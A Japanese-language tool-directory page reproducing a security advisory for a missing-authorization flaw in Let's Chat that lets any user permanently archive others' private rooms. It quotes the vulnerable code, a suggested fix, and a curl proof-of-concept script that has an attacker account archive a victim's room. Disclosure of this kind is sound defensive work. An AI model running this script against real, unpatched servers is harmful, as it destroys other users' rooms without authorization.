Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat- — セキュリティ勧告: 不十分なアクセス制御により、不正なルーム削除が可能 (Let's Chat) | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
認証と認可脆弱性分析コード分析ウェブセキュリティ学習と教育
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

セキュリティ勧告: 不十分なアクセス制御により、不正なルーム削除が可能 (Let's Chat)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
31ヶ月前未レビュー

セキュリティアドバイザリ: 不十分なアクセス制御により不正なルーム削除が可能(Let's Chat)

割り当てられたCVE ID: CVE-2026-66751

概要

DELETE /rooms/:room は、ログインを要求する以外に認可チェックを一切行いません。サーバー上の任意のルームは、そのアカウントが読み取り・参加・変更を許可されていないプライベートルームやパスワード保護ルームであっても、どのアカウントでもアーカイブできます。

アーカイブは、Let's Chatがルームを削除する方法です。ルームはルーム一覧から消え、直接参照すると404が返り、メッセージの投稿やファイルのアップロードは拒否されます。これを元に戻すコードパスはアプリケーション内に存在しません。

影響を受けるバージョン

リポジトリURL: https://github.com/sdelements/lets-chat

0.3.0(コミット 5b5f46f、2015年1月2日、"Rooms are archived, instead of deleted")から、最終リリースである0.4.8まで影響を受けます。修正済みバージョンは存在しません。

プライベートルームとパスワード保護ルームは0.4.0で導入されたため、攻撃者が内容を見ることのできないルームを破壊するケースは0.4.0以降に該当します。検査の欠落自体は0.3.0に遡ります。

コミット 617207f の0.4.8と、docker.io/sdelements/lets-chat:latest(0.4.7)で確認済みです。

分類

CWE-862: 認可の欠如(Missing Authorization)。

CVSS 4.0 ベーススコア 5.3(Medium) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

脅威モデル

攻撃者に必要なのは、通常のユーザーアカウント1つとHTTPポートへのネットワークアクセスだけです。ルームの所有、ルームへの所属、パスワードの把握、特権的な役割の保持は一切不要です。自己登録はデフォルトで有効です(defaults.yml の auth.local.enableRegistration)。

ターゲットの選定にはコストがかかりません。GET /rooms は設計上、すべてのユーザーにパスワード保護ルームを一覧表示するため、攻撃者はルームIDの完全な一覧を読み取り、順番にすべてをアーカイブできます。

技術的詳細

このルートはログインを要求してルームを解決するだけで、それ以外のことは何もしません。app/controllers/rooms.js:99-109:

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

ハンドラはルームIDのみを下流に渡します。req.user を参照することは一切ありません。app/controllers/rooms.js:217-232:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

マネージャはユーザー引数を受け取らないため、原理的にも所有権を検査できません。app/core/rooms.js:123-137:

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

隣接する更新パスは所有権を検査しており、このことから意図的な選択ではなく見落としであることがうかがえます。app/core/rooms.js:89-91:

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

クライアント側も、より厳格な解釈と一致しています。media/js/views/room.js:28-31 は誰が編集コントロールを見るかを決定し、Archive Roomボタンは、このコントロールが開く編集モーダルの内側にあります:

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

パスワード保護されたルームでは、非所有者はそのボタンを決して見ることはありません。この制限はブラウザ内にしか存在しません。

再現手順

プライベートルームを作成できるようにするには、rooms.private: true(または LCB_ROOMS_PRIVATE=true)が必要です。検査の欠落自体は、その設定に関係なくすべてのルームに該当します。

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

影響

リクエスト後、そのルームはすべてのユーザーにとって GET /rooms から消え、GET /rooms/:id は404を返し、messages:create と files:create はそれを受け付けません(app/core/messages.js:28-30、app/core/files.js:55-57)。app/ 内で archived を false に戻す処理は存在しないため、復旧にはデータベースへの直接アクセスが必要です。

推奨される修正

呼び出し元をマネージャに渡し、update が既に行っているのと同様に、アーカイブ前に所有権を検査します。app/controllers/rooms.js:217:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

そして app/core/rooms.js:123 では、if (!room) チェックの後に:

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
ツールをダウンロード